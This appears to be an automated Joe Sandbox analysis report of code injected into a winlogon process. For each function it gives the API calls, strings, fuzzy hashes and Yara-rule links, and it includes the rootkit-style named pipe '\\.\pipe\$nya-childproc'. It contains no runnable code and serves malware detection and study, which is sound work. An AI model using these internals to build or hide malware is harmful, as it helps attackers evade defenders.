Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: 40962d9037238da081206475ee908ce105132769ad07b7c55dbda3703558f768
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: 00D1D43A60CFA0AAEB20DFA9D44839D37A5F745789F248155EF8A57B9ADB34C481C700

Function 00000225DC67A22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC67A289

Part of subcall function 00000225DC67B144: __GetUnwindTryBlock.LIBCMT ref: 00000225DC67B187
Part of subcall function 00000225DC67B144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC67B1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC67A361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC67A5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC67A6BC

Strings

csm, xrefs: 00000225DC67A30A
csm, xrefs: 00000225DC67A2A3
csm, xrefs: 00000225DC67A384

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: a8fece186d101b847eca8a083d65235070164d711131e7fc5df78026c09f9aa6
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: 90D1C13A604FA0AAFB20DFA9D44839D37A0F74579AF209905EE8957FDADB34C591C700

Function 00000225DC6AA22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC6AA289

Part of subcall function 00000225DC6AB144: __GetUnwindTryBlock.LIBCMT ref: 00000225DC6AB187
Part of subcall function 00000225DC6AB144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC6AB1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC6AA361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC6AA5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC6AA6BC

Strings

csm, xrefs: 00000225DC6AA30A
csm, xrefs: 00000225DC6AA384
csm, xrefs: 00000225DC6AA2A3

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: e4e77bec6c3c76eda267b5a64cd10531dc381910f999623d3e16d62803294872
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: 15D1B436604FA0AAEB20DFADD44839D77A0F755789F349116EF8997B9ACB34C481CB40

Function 00000225DC61962C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000225DC619689

Part of subcall function 00000225DC61A544: __GetUnwindTryBlock.LIBCMT ref: 00000225DC61A587
Part of subcall function 00000225DC61A544: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000225DC61A5AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000225DC619761
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000225DC6199AF
std::bad_alloc::bad_alloc.LIBCMT ref: 00000225DC619ABC

Strings

csm, xrefs: 00000225DC61970A
csm, xrefs: 00000225DC619784
csm, xrefs: 00000225DC6196A3

Memory Dump Source

Source File: 00000009.00000003.1989875649.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_225dc610000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction ID: e1890204962555f878dae4d699df8c2ef2e4cf9b7c5c3e4ddc42fda6e9e5fbcd
Opcode Fuzzy Hash: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction Fuzzy Hash: C1D1C43A605F90A6EF60DFA9D4883AD77E0F74978BF148205EE8957B9ADB34C085C700

Function 00000225DC64104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6410B1
RegEnumValueW.ADVAPI32 ref: 00000225DC641117
GetProcessHeap.KERNEL32 ref: 00000225DC64115A
HeapAlloc.KERNEL32 ref: 00000225DC641168
GetProcessHeap.KERNEL32 ref: 00000225DC641185
HeapFree.KERNEL32 ref: 00000225DC641193

Strings

d, xrefs: 00000225DC6410D6

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: ececaa4767ccb3dcc2047e64bec21184c4e63965f1cad86239683dd7ac3fee11
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 07418337218F94D6E760CF65E44879E77A1F388B99F548115DB8A07758EF38C449CB40

Function 00000225DC67104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6710B1
RegEnumValueW.ADVAPI32 ref: 00000225DC671117
GetProcessHeap.KERNEL32 ref: 00000225DC67115A
HeapAlloc.KERNEL32 ref: 00000225DC671168
GetProcessHeap.KERNEL32 ref: 00000225DC671185
HeapFree.KERNEL32 ref: 00000225DC671193

Strings

d, xrefs: 00000225DC6710D6

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: 4c20dfc4af8bda4208fe4ae9ad067bd992ae1cd645f02af2b9241ee9954499fc
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 94418137214F90DAE760CF65E45839E77B1F388B99F448115DA890BB98DF38C449CB40

Function 00000225DC6A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC6A10B1
RegEnumValueW.ADVAPI32 ref: 00000225DC6A1117
GetProcessHeap.KERNEL32 ref: 00000225DC6A115A
HeapAlloc.KERNEL32 ref: 00000225DC6A1168
GetProcessHeap.KERNEL32 ref: 00000225DC6A1185
HeapFree.KERNEL32 ref: 00000225DC6A1193

Strings

d, xrefs: 00000225DC6A10D6

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: d71e7553ea6a1f3aca9db5fdb5635cc43e37d640ac58699523fa530d5dd3bff1
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 33419277214F90EAE760CF65E44839E77A1F388B9AF548129DB8947758EF38C849CB40

Function 00000225DC642518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000225DC64252D
GetCurrentProcessId.KERNEL32 ref: 00000225DC642537
CreateFileW.KERNEL32 ref: 00000225DC642568
WriteFile.KERNEL32 ref: 00000225DC642590
ReadFile.KERNEL32 ref: 00000225DC6425AF
CloseHandle.KERNEL32 ref: 00000225DC6425B8

Strings

\\.\pipe\$nya-childproc, xrefs: 00000225DC642549

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: d2138c8d4f7d3247c7ae02ff7a74c34891107d2cf3aecf89818fa6b04c249ee7
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: 22115E3A628B5093E7108F69F41C75A7760F789BD6FA48315EA5A46BA8DF3CC144CB40

Function 00000225DC672518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000225DC67252D
GetCurrentProcessId.KERNEL32 ref: 00000225DC672537
CreateFileW.KERNEL32 ref: 00000225DC672568
WriteFile.KERNEL32 ref: 00000225DC672590
ReadFile.KERNEL32 ref: 00000225DC6725AF
CloseHandle.KERNEL32 ref: 00000225DC6725B8

Strings

\\.\pipe\$nya-childproc, xrefs: 00000225DC672549

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: ef957a4295e74cbf3163430bc7be43bd0f83cb6e2c1149b6374ee47fbb104cec
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: 4C11793A614B60D2F710CF69F41875A7760F788BD6FA48311EA9A06AE8DF3CC148CB41

Function 00000225DC6A2518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000225DC6A252D
GetCurrentProcessId.KERNEL32 ref: 00000225DC6A2537
CreateFileW.KERNEL32 ref: 00000225DC6A2568
WriteFile.KERNEL32 ref: 00000225DC6A2590
ReadFile.KERNEL32 ref: 00000225DC6A25AF
CloseHandle.KERNEL32 ref: 00000225DC6A25B8

Strings

\\.\pipe\$nya-childproc, xrefs: 00000225DC6A2549

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: 12dfc8dfee2a984abc70d42e87e5253ec343e094988bec53a7eb661a728d10ba
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: CE115E3A614B5093E710CF69F45875A7761F389BD6F948315EA5A42BA8DF3CC144CB40

Function 00000225DC647C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC647C78
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC647CCA
_RTC_Initialize.LIBCMT ref: 00000225DC647CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC647D1E
__scrt_release_startup_lock.LIBCMT ref: 00000225DC647D49

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 7ae2038be97faaa4bf339515ed2eef7105a8bae153223ddbf86e44b63430d728
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: CB81062C61CE71A6FB50ABED944D36932D1AB96786F54C1A5DA0B87397EB38C841CB00

Function 00000225DC677C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC677C78
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC677CCA
_RTC_Initialize.LIBCMT ref: 00000225DC677CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC677D1E
__scrt_release_startup_lock.LIBCMT ref: 00000225DC677D49

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 03edbe25b19a16d78846103c908d694f2eede22f677f959411b8934aeaadb500
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 8781082C700F31BAFA519BED954D36962D0AB89787F54C9259A0857FD7EBB8CC41CB00

Function 00000225DC6A7C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC6A7C78
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC6A7CCA
_RTC_Initialize.LIBCMT ref: 00000225DC6A7CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC6A7D1E
__scrt_release_startup_lock.LIBCMT ref: 00000225DC6A7D49

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 684b0ea4b1d95b88bf2fc3b911224b566bb0b3b7a0efd3eb34d427422fe637d6
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: BC81E82D700E317AFA50EBED944D3A967E1AB9978BF74C1159A09C7397EB38C941CB00

Function 00000225DC617050 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000225DC617078
__scrt_acquire_startup_lock.LIBCMT ref: 00000225DC6170CA
_RTC_Initialize.LIBCMT ref: 00000225DC6170F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000225DC61711E
__scrt_release_startup_lock.LIBCMT ref: 00000225DC617149

Memory Dump Source

Source File: 00000009.00000003.1989875649.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_225dc610000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 9612e62021ed5a6cd12a67d3e1815084ecf9031014c0cf66e27d2e1346f3e915
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 5A81D52C602F71A6FF549BED984D39962D0ABA6783F18C025EE4947796DF38C846CF00

Function 00000225DC649AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000225DC649C6B,?,?,?,00000225DC64945C,?,?,?,?,00000225DC648F65), ref: 00000225DC649B31
GetLastError.KERNEL32(?,?,?,00000225DC649C6B,?,?,?,00000225DC64945C,?,?,?,?,00000225DC648F65), ref: 00000225DC649B3F
LoadLibraryExW.KERNEL32(?,?,?,00000225DC649C6B,?,?,?,00000225DC64945C,?,?,?,?,00000225DC648F65), ref: 00000225DC649B69
FreeLibrary.KERNEL32(?,?,?,00000225DC649C6B,?,?,?,00000225DC64945C,?,?,?,?,00000225DC648F65), ref: 00000225DC649BD7
GetProcAddress.KERNEL32(?,?,?,00000225DC649C6B,?,?,?,00000225DC64945C,?,?,?,?,00000225DC648F65), ref: 00000225DC649BE3

Strings

api-ms-, xrefs: 00000225DC649B51

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: f95e28dfc33ca7a534d3acc35b749e714b97f789a20428665c6926e110095462
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: BB31083932EF20E1EE11DB8AA8083963398F745BA2F598664DD1F47798EF38C445C300

Function 00000225DC679AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000225DC679C6B,?,?,?,00000225DC67945C,?,?,?,?,00000225DC678F65), ref: 00000225DC679B31
GetLastError.KERNEL32(?,?,?,00000225DC679C6B,?,?,?,00000225DC67945C,?,?,?,?,00000225DC678F65), ref: 00000225DC679B3F
LoadLibraryExW.KERNEL32(?,?,?,00000225DC679C6B,?,?,?,00000225DC67945C,?,?,?,?,00000225DC678F65), ref: 00000225DC679B69
FreeLibrary.KERNEL32(?,?,?,00000225DC679C6B,?,?,?,00000225DC67945C,?,?,?,?,00000225DC678F65), ref: 00000225DC679BD7
GetProcAddress.KERNEL32(?,?,?,00000225DC679C6B,?,?,?,00000225DC67945C,?,?,?,?,00000225DC678F65), ref: 00000225DC679BE3

Strings

api-ms-, xrefs: 00000225DC679B51

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: 276d377e687f46c3aa104caac818f91fda4273325fc345cc73579293a92bb68b
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: 4531B639322F60E1EE11DB9A980879623D4FB54FA2F598925DD1D47BD8EF38C445C310

